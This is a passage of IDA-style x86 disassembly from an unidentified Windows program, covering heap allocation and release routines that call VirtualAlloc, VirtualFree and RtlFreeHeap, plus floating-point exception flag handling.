		jnz	short loc_41984C
		cmp	off_438140, 0
		jnz	short loc_41983C
		mov	off_438140, eax


loc_41983C:				; CODE XREF: sub_4197BC+79j
		cmp	off_438144, 0
		jnz	short loc_419861
		mov	off_438144, eax
		jmp	short loc_419861
; ---------------------------------------------------------------------------


loc_41984C:				; CODE XREF: sub_4197BC+70j
		mov	[esi], eax
		mov	eax, off_438144
		mov	[esi+4], eax
		mov	off_438144, esi
		mov	eax, [esi+4]
		mov	[eax], esi


loc_419861:				; CODE XREF: sub_4197BC+87j
					; sub_4197BC+8Ej
		lea	eax, __ImageBase[edi]
		lea	ecx, [esi+98h]
		mov	[esi+14h], eax
		lea	eax, [esi+18h]
		mov	[esi+0Ch], ecx
		mov	[esi+10h], edi
		mov	[esi+8], eax
		xor	ebp, ebp
		mov	ecx, 0F1h


loc_419883:				; CODE XREF: sub_4197BC+E2j
		xor	edx, edx
		cmp	ebp, 10h
		setnl	dl
		dec	edx
		and	edx, ecx
		dec	edx
		inc	ebp
		mov	[eax], edx
		mov	[eax+4], ecx
		add	eax, 8
		cmp	ebp, 400h
		jl	short loc_419883
		push	ebx
		push	0
		push	edi
		call	sub_415390
		add	esp, 0Ch


loc_4198AC:				; CODE XREF: sub_4197BC+112j
		mov	eax, [esi+10h]
		add	eax, ebx
		cmp	edi, eax
		jnb	short loc_4198D0
		or	byte ptr [edi+0F8h], 0FFh
		lea	eax, [edi+8]
		mov	[edi], eax
		mov	dword ptr [edi+4], 0F0h
		add	edi, 1000h
		jmp	short loc_4198AC
; ---------------------------------------------------------------------------


loc_4198D0:				; CODE XREF: sub_4197BC+F7j
		mov	eax, esi
		jmp	short loc_4198FB
; ---------------------------------------------------------------------------


loc_4198D4:				; CODE XREF: sub_4197BC+63j
		push	8000h
		push	0
		push	edi
		call	dword_42117C	; VirtualFree


loc_4198E2:				; CODE XREF: sub_4197BC+4Bj
		cmp	esi, offset off_438140
		jz	short loc_4198F9
		push	esi
		push	0
		push	dword_46CCA4
		call	dword_421150	; RtlFreeHeap


loc_4198F9:				; CODE XREF: sub_4197BC+2Bj
					; sub_4197BC+12Cj
		xor	eax, eax


loc_4198FB:				; CODE XREF: sub_4197BC+116j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4197BC	endp


; =============== S U B	R O U T	I N E =======================================



sub_419900	proc near		; CODE XREF: sub_419956+A5p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	8000h
		push	0
		push	dword ptr [esi+10h]
		call	dword_42117C	; VirtualFree
		cmp	off_43A160, esi
		jnz	short loc_419925
		mov	eax, [esi+4]
		mov	off_43A160, eax


loc_419925:				; CODE XREF: sub_419900+1Bj
		cmp	esi, offset off_438140
		jz	short loc_41994D
		mov	eax, [esi+4]
		mov	ecx, [esi]
		push	esi
		push	0
		mov	[eax], ecx
		mov	eax, [esi]
		mov	ecx, [esi+4]
		mov	[eax+4], ecx
		push	dword_46CCA4
		call	dword_421150	; RtlFreeHeap
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41994D:				; CODE XREF: sub_419900+2Bj
		or	dword_438150, 0FFFFFFFFh
		pop	esi
		retn
sub_419900	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419956	proc near		; CODE XREF: sub_419A6F+3Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_438144
		push	edi


loc_419963:				; CODE XREF: sub_419956+B7j
		cmp	dword ptr [esi+10h], 0FFFFFFFFh
		jz	loc_419A01
		and	[ebp+var_4], 0
		lea	edi, [esi+2010h]
		mov	ebx, 3FF000h


loc_41997C:				; CODE XREF: sub_419956+72j
		cmp	dword ptr [edi], 0F0h
		jnz	short loc_4199BD
		mov	eax, ebx
		push	4000h
		add	eax, [esi+10h]
		push	1000h
		push	eax
		call	dword_42117C	; VirtualFree
		test	eax, eax
		jz	short loc_4199BD
		or	dword ptr [edi], 0FFFFFFFFh
		dec	dword_46B69C
		mov	eax, [esi+0Ch]
		test	eax, eax
		jz	short loc_4199B2
		cmp	eax, edi
		jbe	short loc_4199B5


loc_4199B2:				; CODE XREF: sub_419956+56j
		mov	[esi+0Ch], edi


loc_4199B5:				; CODE XREF: sub_419956+5Aj
		inc	[ebp+var_4]
		dec	[ebp+arg_0]
		jz	short loc_4199CA


loc_4199BD:				; CODE XREF: sub_419956+2Cj
					; sub_419956+46j
		sub	ebx, 1000h
		sub	edi, 8
		test	ebx, ebx
		jge	short loc_41997C


loc_4199CA:				; CODE XREF: sub_419956+65j
		cmp	[ebp+var_4], 0
		mov	ecx, esi
		mov	esi, [esi+4]
		jz	short loc_419A01
		cmp	dword ptr [ecx+18h], 0FFFFFFFFh
		jnz	short loc_419A01
		push	1
		lea	eax, [ecx+20h]
		pop	edx


loc_4199E1:				; CODE XREF: sub_419956+9Aj
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_4199F2
		inc	edx
		add	eax, 8
		cmp	edx, 400h
		jl	short loc_4199E1


loc_4199F2:				; CODE XREF: sub_419956+8Ej
		cmp	edx, 400h
		jnz	short loc_419A01
		push	ecx
		call	sub_419900
		pop	ecx


loc_419A01:				; CODE XREF: sub_419956+11j
					; sub_419956+7Dj ...
		cmp	esi, off_438144
		jz	short loc_419A13
		cmp	[ebp+arg_0], 0
		jg	loc_419963


loc_419A13:				; CODE XREF: sub_419956+B1j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_419956	endp


; =============== S U B	R O U T	I N E =======================================



sub_419A18	proc near		; CODE XREF: sub_415C9B+3Ap
					; sub_41737F+173p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	edx, offset off_438140
		push	esi
		mov	ecx, edx


loc_419A24:				; CODE XREF: sub_419A18+1Cj
		cmp	eax, [ecx+10h]
		jbe	short loc_419A2E
		cmp	eax, [ecx+14h]
		jb	short loc_419A36


loc_419A2E:				; CODE XREF: sub_419A18+Fj
		mov	ecx, [ecx]
		cmp	ecx, edx
		jz	short loc_419A6B
		jmp	short loc_419A24
; ---------------------------------------------------------------------------


loc_419A36:				; CODE XREF: sub_419A18+14j
		test	al, 0Fh
		jnz	short loc_419A6B
		mov	esi, eax
		mov	edx, 100h
		and	esi, 0FFFh
		cmp	esi, edx
		jb	short loc_419A6B
		mov	esi, [esp+4+arg_4]
		mov	[esi], ecx
		mov	esi, [esp+4+arg_8]
		mov	ecx, eax
		and	cx, 0F000h
		sub	eax, ecx
		mov	[esi], ecx
		sub	eax, edx
		pop	esi
		sar	eax, 4
		lea	eax, [eax+ecx+8]
		retn
; ---------------------------------------------------------------------------


loc_419A6B:				; CODE XREF: sub_419A18+1Aj
					; sub_419A18+20j ...
		xor	eax, eax
		pop	esi
		retn
sub_419A18	endp


; =============== S U B	R O U T	I N E =======================================



sub_419A6F	proc near		; CODE XREF: sub_415C9B+4Dp
					; sub_41737F+1D5p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		sub	ecx, [eax+10h]
		sar	ecx, 0Ch
		lea	eax, [eax+ecx*8+18h]
		mov	ecx, [esp+arg_8]
		movzx	edx, byte ptr [ecx]
		add	[eax], edx
		and	byte ptr [ecx],	0
		cmp	dword ptr [eax], 0F0h
		mov	dword ptr [eax+4], 0F1h
		jnz	short locret_419AB3
		inc	dword_46B69C
		cmp	dword_46B69C, 20h
		jnz	short locret_419AB3
		push	10h
		call	sub_419956
		pop	ecx

locret_419AB3:				; CODE XREF: sub_419A6F+2Bj
					; sub_419A6F+3Aj
		retn
sub_419A6F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419AB4	proc near		; CODE XREF: sub_415C27+4Ap
					; sub_41737F+1ACp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_43A160
		push	edi


loc_419AC2:				; CODE XREF: sub_419AB4+C6j
		mov	edx, [esi+10h]
		cmp	edx, 0FFFFFFFFh
		jz	loc_419B6D
		mov	edi, [esi+8]
		lea	ecx, [esi+2018h]
		mov	eax, edi
		sub	eax, esi
		sub	eax, 18h
		sar	eax, 3
		shl	eax, 0Ch
		add	eax, edx
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jnb	short loc_419B27


loc_419AED:				; CODE XREF: sub_419AB4+6Fj
		mov	ecx, [edi]
		mov	ebx, [ebp+arg_0]
		cmp	ecx, ebx
		jl	short loc_419B10
		cmp	[edi+4], ebx
		jbe	short loc_419B10
		push	ebx
		push	ecx
		push	eax
		call	sub_419CBC
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_419B7F
		mov	eax, [ebp+var_4]
		mov	[edi+4], ebx


loc_419B10:				; CODE XREF: sub_419AB4+40j
					; sub_419AB4+45j
		add	edi, 8
		lea	ecx, [esi+2018h]
		add	eax, 1000h
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jb	short loc_419AED
		jmp	short loc_419B2A
; ---------------------------------------------------------------------------


loc_419B27:				; CODE XREF: sub_419AB4+37j
		mov	ebx, [ebp+arg_0]


loc_419B2A:				; CODE XREF: sub_419AB4+71j
		mov	eax, [esi+8]
		mov	ecx, [esi+10h]
		lea	edi, [esi+18h]
		mov	[ebp+var_8], eax
		cmp	edi, eax
		mov	[ebp+var_4], ecx
		jnb	short loc_419B70


loc_419B3D:				; CODE XREF: sub_419AB4+B5j
		mov	eax, [edi]
		cmp	eax, ebx
		jl	short loc_419B5C
		cmp	[edi+4], ebx
		jbe	short loc_419B5C
		push	ebx
		push	eax
		push	[ebp+var_4]
		call	sub_419CBC
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_419B7F
		mov	[edi+4], ebx


loc_419B5C:				; CODE XREF: sub_419AB4+8Dj
					; sub_419AB4+92j
		add	[ebp+var_4], 1000h
		add	edi, 8
		cmp	edi, [ebp+var_8]
		jb	short loc_419B3D
		jmp	short loc_419B70
; ---------------------------------------------------------------------------


loc_419B6D:				; CODE XREF: sub_419AB4+14j
		mov	ebx, [ebp+arg_0]


loc_419B70:				; CODE XREF: sub_419AB4+87j
					; sub_419AB4+B7j
		mov	esi, [esi]
		cmp	esi, off_43A160
		jz	short loc_419B8F
		jmp	loc_419AC2
; ---------------------------------------------------------------------------


loc_419B7F:				; CODE XREF: sub_419AB4+54j
					; sub_419AB4+A3j
		mov	off_43A160, esi
		sub	[edi], ebx
		mov	[esi+8], edi
		jmp	loc_419CB7
; ---------------------------------------------------------------------------


loc_419B8F:				; CODE XREF: sub_419AB4+C4j
		mov	eax, offset off_438140
		mov	edi, eax


loc_419B96:				; CODE XREF: sub_419AB4+F8j
		cmp	dword ptr [edi+10h], 0FFFFFFFFh
		jz	short loc_419BA2
		cmp	dword ptr [edi+0Ch], 0
		jnz	short loc_419BAE


loc_419BA2:				; CODE XREF: sub_419AB4+E6j
		mov	edi, [edi]
		cmp	edi, eax
		jz	loc_419C83
		jmp	short loc_419B96
; ---------------------------------------------------------------------------


loc_419BAE:				; CODE XREF: sub_419AB4+ECj
		mov	ebx, [edi+0Ch]
		and	[ebp+var_4], 0
		mov	esi, ebx
		mov	eax, ebx
		sub	esi, edi
		sub	esi, 18h
		sar	esi, 3
		shl	esi, 0Ch
		add	esi, [edi+10h]
		cmp	dword ptr [ebx], 0FFFFFFFFh
		jnz	short loc_419BDD


loc_419BCC:				; CODE XREF: sub_419AB4+127j
		cmp	[ebp+var_4], 10h
		jge	short loc_419BDD
		add	eax, 8
		inc	[ebp+var_4]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_419BCC


loc_419BDD:				; CODE XREF: sub_419AB4+116j
					; sub_419AB4+11Cj
		mov	eax, [ebp+var_4]
		push	4
		shl	eax, 0Ch
		push	1000h
		push	eax
		push	esi
		mov	[ebp+var_8], eax
		call	dword_421180	; VirtualAlloc
		cmp	eax, esi
		jnz	loc_419CB5
		push	0
		push	[ebp+var_8]
		push	esi
		call	sub_415390
		mov	edx, [ebp+var_4]
		add	esp, 0Ch
		test	edx, edx
		mov	ecx, ebx
		jle	short loc_419C44
		lea	eax, [esi+4]
		mov	[ebp+var_4], edx


loc_419C1A:				; CODE XREF: sub_419AB4+18Ej
		or	byte ptr [eax+0F4h], 0FFh
		lea	edx, [eax+4]
		mov	[eax-4], edx
		mov	edx, 0F0h
		mov	[eax], edx
		mov	[ecx], edx
		mov	dword ptr [ecx+4], 0F1h
		add	eax, 1000h
		add	ecx, 8
		dec	[ebp+var_4]
		jnz	short loc_419C1A


loc_419C44:				; CODE XREF: sub_419AB4+15Ej
		mov	off_43A160, edi
		lea	eax, [edi+2018h]


loc_419C50:				; CODE XREF: sub_419AB4+1A8j
		cmp	ecx, eax
		jnb	short loc_419C60
		cmp	dword ptr [ecx], 0FFFFFFFFh
		jz	short loc_419C5E
		add	ecx, 8
		jmp	short loc_419C50
; ---------------------------------------------------------------------------


loc_419C5E:				; CODE XREF: sub_419AB4+1A3j
		cmp	ecx, eax


loc_419C60:				; CODE XREF: sub_419AB4+19Ej
		sbb	eax, eax
		and	eax, ecx
		mov	[edi+0Ch], eax
		mov	eax, [ebp+arg_0]
		mov	[esi+8], al
		mov	[edi+8], ebx
		sub	[ebx], eax
		sub	[esi+4], eax
		lea	ecx, [esi+eax+8]
		lea	eax, [esi+100h]
		mov	[esi], ecx
		jmp	short loc_419CB7
; ---------------------------------------------------------------------------


loc_419C83:				; CODE XREF: sub_419AB4+F2j
		call	sub_4197BC
		test	eax, eax
		jz	short loc_419CB5
		mov	ecx, [eax+10h]
		mov	[ecx+8], bl
		lea	edx, [ecx+ebx+8]
		mov	off_43A160, eax
		mov	[ecx], edx
		mov	edx, 0F0h
		sub	edx, ebx
		mov	[ecx+4], edx
		movzx	edx, bl
		sub	[eax+18h], edx
		lea	eax, [ecx+100h]
		jmp	short loc_419CB7
; ---------------------------------------------------------------------------


loc_419CB5:				; CODE XREF: sub_419AB4+143j
					; sub_419AB4+1D6j
		xor	eax, eax


loc_419CB7:				; CODE XREF: sub_419AB4+D6j
					; sub_419AB4+1CDj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_419AB4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419CBC	proc near		; CODE XREF: sub_419AB4+4Ap
					; sub_419AB4+99p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_8]
		push	ebx
		push	esi
		mov	esi, [ecx+4]
		push	edi
		mov	edi, [ecx]
		lea	ebx, [ecx+0F8h]
		cmp	esi, edx
		mov	[ebp+var_4], edi
		mov	eax, edi
		mov	[ebp+arg_0], ebx
		jb	short loc_419D01
		lea	eax, [edi+edx]
		mov	[edi], dl
		cmp	eax, ebx
		jnb	short loc_419CF0
		add	[ecx], edx
		sub	[ecx+4], edx
		jmp	short loc_419CF9
; ---------------------------------------------------------------------------


loc_419CF0:				; CODE XREF: sub_419CBC+2Bj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax


loc_419CF9:				; CODE XREF: sub_419CBC+32j
		lea	eax, [edi+8]
		jmp	loc_419DCF
; ---------------------------------------------------------------------------


loc_419D01:				; CODE XREF: sub_419CBC+22j
		add	esi, edi
		cmp	byte ptr [esi],	0
		jz	short loc_419D0A
		mov	eax, esi


loc_419D0A:				; CODE XREF: sub_419CBC+4Aj
		lea	esi, [eax+edx]
		cmp	esi, ebx
		jnb	short loc_419D54


loc_419D11:				; CODE XREF: sub_419CBC+96j
		mov	bl, [eax]
		test	bl, bl
		jnz	short loc_419D47
		push	1
		lea	ebx, [eax+1]
		pop	esi


loc_419D1D:				; CODE XREF: sub_419CBC+68j
		cmp	byte ptr [ebx],	0
		jnz	short loc_419D26
		inc	ebx
		inc	esi
		jmp	short loc_419D1D
; ---------------------------------------------------------------------------


loc_419D26:				; CODE XREF: sub_419CBC+64j
		cmp	esi, edx
		jnb	short loc_419D78
		cmp	eax, [ebp+var_4]
		jnz	short loc_419D34
		mov	[ecx+4], esi
		jmp	short loc_419D40
; ---------------------------------------------------------------------------


loc_419D34:				; CODE XREF: sub_419CBC+71j
		sub	[ebp+arg_4], esi
		cmp	[ebp+arg_4], edx
		jb	loc_419DD9


loc_419D40:				; CODE XREF: sub_419CBC+76j
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_419D4C
; ---------------------------------------------------------------------------


loc_419D47:				; CODE XREF: sub_419CBC+59j
		movzx	esi, bl
		add	eax, esi


loc_419D4C:				; CODE XREF: sub_419CBC+89j
		lea	esi, [eax+edx]
		cmp	esi, [ebp+arg_0]
		jb	short loc_419D11


loc_419D54:				; CODE XREF: sub_419CBC+53j
		lea	esi, [ecx+8]


loc_419D57:				; CODE XREF: sub_419CBC+EBj
					; sub_419CBC+F2j
		cmp	esi, edi
		jnb	short loc_419DD9
		lea	eax, [esi+edx]
		cmp	eax, [ebp+arg_0]
		jnb	short loc_419DD9
		mov	al, [esi]
		test	al, al
		jnz	short loc_419DA9
		push	1
		lea	ebx, [esi+1]
		pop	eax


loc_419D6F:				; CODE XREF: sub_419CBC+BAj
		cmp	byte ptr [ebx],	0
		jnz	short loc_419D99
		inc	ebx
		inc	eax
		jmp	short loc_419D6F
; ---------------------------------------------------------------------------


loc_419D78:				; CODE XREF: sub_419CBC+6Cj
		lea	ebx, [eax+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_419D89
		sub	esi, edx
		mov	[ecx], ebx
		mov	[ecx+4], esi
		jmp	short loc_419D92
; ---------------------------------------------------------------------------


loc_419D89:				; CODE XREF: sub_419CBC+C2j
		and	dword ptr [ecx+4], 0
		lea	esi, [ecx+8]
		mov	[ecx], esi


loc_419D92:				; CODE XREF: sub_419CBC+CBj
		mov	[eax], dl
		add	eax, 8
		jmp	short loc_419DCF
; ---------------------------------------------------------------------------


loc_419D99:				; CODE XREF: sub_419CBC+B6j
		cmp	eax, edx
		jnb	short loc_419DB0
		sub	[ebp+arg_4], eax
		cmp	[ebp+arg_4], edx
		jb	short loc_419DD9
		mov	esi, ebx
		jmp	short loc_419D57
; ---------------------------------------------------------------------------


loc_419DA9:				; CODE XREF: sub_419CBC+ABj
		movzx	eax, al
		add	esi, eax
		jmp	short loc_419D57
; ---------------------------------------------------------------------------


loc_419DB0:				; CODE XREF: sub_419CBC+DFj
		lea	ebx, [esi+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_419DC1
		sub	eax, edx
		mov	[ecx], ebx
		mov	[ecx+4], eax
		jmp	short loc_419DCA
; ---------------------------------------------------------------------------


loc_419DC1:				; CODE XREF: sub_419CBC+FAj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax


loc_419DCA:				; CODE XREF: sub_419CBC+103j
		mov	[esi], dl
		lea	eax, [esi+8]


loc_419DCF:				; CODE XREF: sub_419CBC+40j
					; sub_419CBC+DBj
		imul	ecx, 0Fh
		shl	eax, 4
		sub	eax, ecx
		jmp	short loc_419DDB
; ---------------------------------------------------------------------------


loc_419DD9:				; CODE XREF: sub_419CBC+7Ej
					; sub_419CBC+9Dj ...
		xor	eax, eax


loc_419DDB:				; CODE XREF: sub_419CBC+11Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_419CBC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419DE0	proc near		; CODE XREF: sub_41737F+19Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		movzx	ecx, byte ptr [edx]
		push	edi
		mov	edi, [ebp+arg_0]
		and	[ebp+var_4], 0
		mov	eax, ebx
		sub	eax, [edi+10h]
		sar	eax, 0Ch
		cmp	ecx, [ebp+arg_C]
		lea	edi, [edi+eax*8+18h]
		jbe	short loc_419E1A
		mov	eax, [ebp+arg_C]
		sub	ecx, eax
		mov	[edx], al
		add	[edi], ecx
		mov	dword ptr [edi+4], 0F1h
		jmp	short loc_419E7A
; ---------------------------------------------------------------------------


loc_419E1A:				; CODE XREF: sub_419DE0+26j
		jnb	short loc_419E81
		mov	eax, [ebp+arg_C]
		lea	esi, [edx+eax]
		lea	eax, [ebx+0F8h]
		cmp	eax, esi
		jb	short loc_419E81
		lea	eax, [ecx+edx]


loc_419E2F:				; CODE XREF: sub_419DE0+59j
		cmp	eax, esi
		jnb	short loc_419E3D
		cmp	byte ptr [eax],	0
		jnz	short loc_419E3B
		inc	eax
		jmp	short loc_419E2F
; ---------------------------------------------------------------------------


loc_419E3B:				; CODE XREF: sub_419DE0+56j
		cmp	eax, esi


loc_419E3D:				; CODE XREF: sub_419DE0+51j
		jnz	short loc_419E81
		mov	al, byte ptr [ebp+arg_C]
		mov	[edx], al
		mov	eax, [ebx]
		cmp	edx, eax
		ja	short loc_419E75
		cmp	esi, eax
		jbe	short loc_419E75
		lea	eax, [ebx+0F8h]
		cmp	esi, eax
		jnb	short loc_419E6C
		xor	eax, eax
		mov	[ebx], esi
		cmp	[esi], al
		jnz	short loc_419E67


loc_419E60:				; CODE XREF: sub_419DE0+85j
		inc	eax
		cmp	byte ptr [esi+eax], 0
		jz	short loc_419E60


loc_419E67:				; CODE XREF: sub_419DE0+7Ej
		mov	[ebx+4], eax
		jmp	short loc_419E75
; ---------------------------------------------------------------------------


loc_419E6C:				; CODE XREF: sub_419DE0+76j
		and	dword ptr [ebx+4], 0
		lea	eax, [ebx+8]
		mov	[ebx], eax


loc_419E75:				; CODE XREF: sub_419DE0+68j
					; sub_419DE0+6Cj ...
		sub	ecx, [ebp+arg_C]
		add	[edi], ecx


loc_419E7A:				; CODE XREF: sub_419DE0+38j
		mov	[ebp+var_4], 1


loc_419E81:				; CODE XREF: sub_419DE0:loc_419E1Aj
					; sub_419DE0+4Aj ...
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_419DE0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __fastcall sub_419E89(int,int,double,int)

sub_419E89	proc near		; CODE XREF: sub_415D04+51p
					; sub_415E4B+51p

var_1C		= qword	ptr -1Ch
var_14		= qword	ptr -14h
var_C		= qword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	dword_43A8B8, 0
		jnz	short loc_419EBE
		push	[ebp+arg_C]	; int
		fld	qword ptr [ebp+arg_4]
		push	ecx
		push	ecx		; double
		fstp	[esp+0Ch+var_C]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+14h+var_14]
		fld	qword ptr [ebp+arg_4]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+1Ch+var_1C]
		push	[ebp+arg_0]	; int
		push	1		; int
		call	sub_41A43E
		add	esp, 24h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_419EBE:				; CODE XREF: sub_419E89+Aj
		push	0FFFFh
		mov	dword_46B634, 21h
		push	[ebp+arg_C]
		call	sub_41A6B1
		fld	qword ptr [ebp+arg_4]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_419E89	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_419EDC(int,int,double,double,int)

sub_419EDC	proc near		; CODE XREF: sub_415D04:loc_415DC7p
					; sub_415E4B:loc_415F0Ep

var_74		= qword	ptr -74h
var_6C		= qword	ptr -6Ch
var_64		= qword	ptr -64h
var_5C		= dword	ptr -5Ch
var_58		= byte ptr -58h
var_20		= dword	ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= qword	ptr  10h
arg_10		= qword	ptr  18h
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	[ebp+arg_18]
		lea	eax, [ebp+arg_10]
		push	eax
		push	[ebp+arg_0]
		call	sub_41A227
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_419F1A
		lea	eax, [ebp+arg_10]
		and	[ebp+var_20], 0FFFFFFFEh
		push	eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+arg_18]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_419F74
		add	esp, 18h


loc_419F1A:				; CODE XREF: sub_419EDC+1Aj
		push	[ebp+arg_0]
		call	sub_41A511
		cmp	dword_43A8B8, 0
		pop	ecx
		jnz	short loc_419F58
		test	eax, eax
		jz	short loc_419F58
		push	[ebp+arg_18]	; int
		fld	[ebp+arg_10]
		push	ecx
		push	ecx		; double
		fstp	[esp+64h+var_64]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+6Ch+var_6C]
		fld	[ebp+arg_8]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+74h+var_74]
		push	[ebp+arg_4]	; int
		push	eax		; int
		call	sub_41A43E
		add	esp, 24h
		leave
		retn
; ---------------------------------------------------------------------------


loc_419F58:				; CODE XREF: sub_419EDC+4Ej
					; sub_419EDC+52j
		push	eax
		call	sub_41A4C6
		mov	[esp+5Ch+var_5C], 0FFFFh
		push	[ebp+arg_18]
		call	sub_41A6B1
		fld	[ebp+arg_10]
		pop	ecx
		pop	ecx
		leave
		retn
sub_419EDC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419F74	proc near		; CODE XREF: sub_419EDC+36p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		xor	eax, eax
		push	ebx
		push	esi
		mov	[ecx+4], eax
		mov	ecx, [ebp+arg_0]
		push	edi
		push	1
		mov	[ecx+8], eax
		mov	ecx, [ebp+arg_0]
		pop	ebx
		mov	[ecx+0Ch], eax
		mov	cl, byte ptr [ebp+arg_8]
		test	cl, 10h
		jz	short loc_419FA6
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Fh
		or	[eax+4], ebx


loc_419FA6:				; CODE XREF: sub_419F74+23j
		test	cl, 2
		jz	short loc_419FB9
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000093h
		or	dword ptr [eax+4], 2


loc_419FB9:				; CODE XREF: sub_419F74+35j
		test	cl, bl
		jz	short loc_419FCB
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000091h
		or	dword ptr [eax+4], 4


loc_419FCB:				; CODE XREF: sub_419F74+47j
		test	cl, 4
		jz	short loc_419FDE
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Eh
		or	dword ptr [eax+4], 8


loc_419FDE:				; CODE XREF: sub_419F74+5Aj
		test	cl, 8
		jz	short loc_419FF1
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000090h
		or	dword ptr [eax+4], 10h


loc_419FF1:				; CODE XREF: sub_419F74+6Dj
		mov	esi, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		push	2
		mov	ecx, [esi]
		mov	edx, [eax+8]
		not	ecx
		and	ecx, ebx
		and	edx, 0FFFFFFEFh
		shl	ecx, 4
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		and	ecx, 4
		shl	ecx, 1
		and	edx, 0FFFFFFF7h
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 1
		and	ecx, 4
		and	edx, 0FFFFFFFBh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 3
		and	ecx, edi
		and	edx, 0FFFFFFFDh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 5
		and	ecx, ebx
		and	edx, 0FFFFFFFEh
		or	ecx, edx
		mov	[eax+8], ecx
		call	sub_41A694
		test	al, bl
		jz	short loc_41A07A
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 10h


loc_41A07A:				; CODE XREF: sub_419F74+FDj
		test	al, 4
		jz	short loc_41A085
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 8


loc_41A085:				; CODE XREF: sub_419F74+108j
		test	al, 8
		jz	short loc_41A090
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 4


loc_41A090:				; CODE XREF: sub_419F74+113j
		test	al, 10h
		jz	short loc_41A09A
		mov	ecx, [ebp+arg_0]
		or	[ecx+0Ch], edi


loc_41A09A:				; CODE XREF: sub_419F74+11Ej
		test	al, 20h
